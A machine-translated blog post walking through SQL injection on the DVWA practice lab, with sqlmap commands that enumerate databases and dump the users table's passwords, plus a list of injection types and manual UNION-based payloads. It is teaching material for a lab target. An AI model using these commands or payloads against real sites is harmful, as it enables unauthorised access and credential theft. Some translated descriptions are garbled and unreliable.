SQLmap and SQL injection demo

Feb 13, 2024#Web2Security #SqlMap34

AI Translation

This post is translated from Chinese into English through AI.View Original

AI-generated summary

SQLmap is a tool used in the DVWA environment to detect and exploit SQL injection vulnerabilities. It intercepts the image.png file and copies it to the sqlmap directory. By running sqlmap, it can identify the PHP version, Nginx version, and the database and its version. It can also identify the databases and types of injection vulnerabilities present. By querying the dvwa database, it can find the tables and columns, and retrieve data such as usernames and passwords. SQL injection involves injecting user input into code and executing it as a SQL statement. Different types of SQL injection include union, boolean, delay, error-based, wide byte, and stacked injections. The basic steps involve identifying the injection point, determining the number of columns, finding the point of reflection, and querying for relevant information.

SQLmap#

Environment: DVWA

Enter any number in User ID
Intercepted by brupSuite, can be obtained

Select all, copy to the sqlmap root directory, create a new .txt file

Then run sqlmap in CMD:
py .\sqlmap.py -r .\sql.txt

Here sqlmap has detected the PHP version, Nginx version, and the database and its version used
Then use
py .\sqlmap.py -r .\sql.txt --dbs
To detect the databases included and four types of injection vulnerabilities
(Boolean-based blind, error-based, time-based blind, and UNION query-based)

Enter
py .\sqlmap.py -r .\sql.txt -D dvwa --tables
To query the data tables contained in the dvwa database

py .\sqlmap.py -r .\sql.txt -D dvwa -T users --columns
To view the fields in the users table, see user and password

py .\sqlmap.py -r .\sql.txt -D dvwa -T users -C user,password --dump
To retrieve the data of user and password

SQL Injection#

The core of SQL injection
Concatenate user input data into the code and execute it as an SQL statement.
Types of SQL injection:
Union-based injection: Concatenate union select at the end
Boolean-based blind injection: Check if the webpage displays normally
Time-based blind injection: Use sleep() method to check if the database executes
Error-based injection: Use database error feedback to obtain data
Wide character injection: Write a large number of junk characters
Stacked injection: Use semicolons to concatenate multiple statements

Basic steps:
Identify the injection point
id=1 and 1=2
Determine the number of fields
id=1 order by 1
Identify the echo point
id=1 and 1=2 union select 1,2,3
Query related content
id=1 and 1=2 union select 1,database(),3